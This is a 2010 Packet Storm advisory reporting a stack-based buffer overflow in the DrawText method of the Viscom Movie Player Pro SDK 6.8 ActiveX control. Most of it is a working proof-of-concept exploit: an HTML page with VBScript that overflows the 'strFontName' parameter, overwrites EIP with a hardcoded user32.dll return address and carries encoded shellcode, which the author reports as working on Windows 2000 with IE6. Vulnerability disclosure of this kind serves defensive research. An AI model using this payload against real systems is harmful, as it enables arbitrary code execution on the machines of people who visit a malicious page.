Viscom Movie Player Pro SDK 6.8 Buffer Overflow

2010-04-20T00:00:00
ID PACKETSTORM:88731
Type packetstorm
Reporter shinnai
Modified 2010-04-20T00:00:00

Description

                                        
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Viscom Software Movie Player Pro SDK ActiveX 6.8 Remote Buffer Overflow  
url: http://www.viscomsoft.com/  
  
Author: shinnai  
mail: shinnai[at]autistici[dot]org  
site: http://www.shinnai.net/  
  
File name: MoviePlayer.ocx  
Version: 6.8.0.0  
GUID: {F4A32EAF-F30D-466D-BEC8-F4ED86CAF84E}  
ProgID: MOVIEPLAYER.MoviePlayerCtrl.1  
Description: MoviePlayer Pro ActiveX  
  
Safety report: RegKey Safe for Script: False  
RegKey Safe for Init: False  
Implements IObjectSafety: True  
IDisp Safe: Safe for untrusted: caller, data  
IPStorage Safe: Safe for untrusted: caller, data  
  
Vuln. Method: "DrawText"  
Vuln. Param.: "strFontName"  
  
Description: A stack-based buffer overflow occurs when you pass to  
"strFontName" parameter a string overly long than 24  
bytes which leads into EIP overwrite allowing the  
execution of arbitrary code in the context of the logged  
on user.  
This happens because an inadequate space is stored  
into the buffer intended to receive the font name.  
  
  
This was written for educational purpose. Use it at your own risk.  
Author will be not responsible for any damage.  
  
Tested on:  
Windows XP Professional SP3 with Internet Explorer 8  
Windows 2000 Professional SP4 with Internet Explorer 6 (working exploit)  
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<html>  
<object classid='clsid:F4A32EAF-F30D-466D-BEC8-F4ED86CAF84E' id='test'></object>  
<script language = 'vbscript'>  
  
buf_1 = String(32, "A")  
  
pwEIP = unescape("%40%46%E3%77") 'call EBP from user32.dll Win 2k Pro  
  
buf_2 = String(416, "A")  
  
sCode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49") & _  
unescape("%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36") & _  
unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34") & _  
unescape("%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41") & _  
unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%34") & _  
unescape("%42%50%42%30%42%50%4b%38%45%44%4e%43%4b%38%4e%47") & _  
unescape("%45%30%4a%47%41%30%4f%4e%4b%48%4f%54%4a%41%4b%38") & _  
unescape("%4f%55%42%52%41%30%4b%4e%49%54%4b%48%46%33%4b%48") & _  
unescape("%41%50%50%4e%41%43%42%4c%49%59%4e%4a%46%48%42%4c") & _  
unescape("%46%47%47%50%41%4c%4c%4c%4d%50%41%50%44%4c%4b%4e") & _  
unescape("%46%4f%4b%43%46%35%46%52%46%30%45%37%45%4e%4b%58") & _  
unescape("%4f%45%46%42%41%50%4b%4e%48%46%4b%48%4e%30%4b%44") & _  
unescape("%4b%48%4f%35%4e%41%41%30%4b%4e%4b%38%4e%51%4b%38") & _  
unescape("%41%50%4b%4e%49%38%4e%45%46%32%46%50%43%4c%41%33") & _  
unescape("%42%4c%46%46%4b%48%42%34%42%33%45%38%42%4c%4a%47") & _  
unescape("%4e%30%4b%38%42%34%4e%50%4b%58%42%47%4e%41%4d%4a") & _  
unescape("%4b%58%4a%36%4a%30%4b%4e%49%50%4b%48%42%48%42%4b") & _  
unescape("%42%30%42%50%42%30%4b%38%4a%56%4e%43%4f%55%41%33") & _  
unescape("%48%4f%42%46%48%35%49%38%4a%4f%43%58%42%4c%4b%37") & _  
unescape("%42%55%4a%36%42%4f%4c%58%46%50%4f%35%4a%36%4a%59") & _  
unescape("%50%4f%4c%38%50%50%47%55%4f%4f%47%4e%43%56%41%56") & _  
unescape("%4e%46%43%56%50%32%45%46%4a%37%45%36%42%50%5a")  
  
buf_3 = String(4899, "A")  
  
egg = buf_1 & pwEIP & buf_2 & sCode & buf_3  
  
test.DrawText 1, 1, 1, "", 1, egg, True, True, True, 1, 1, 1, 1, 1, 1  
  
</script>  
</html>  
  
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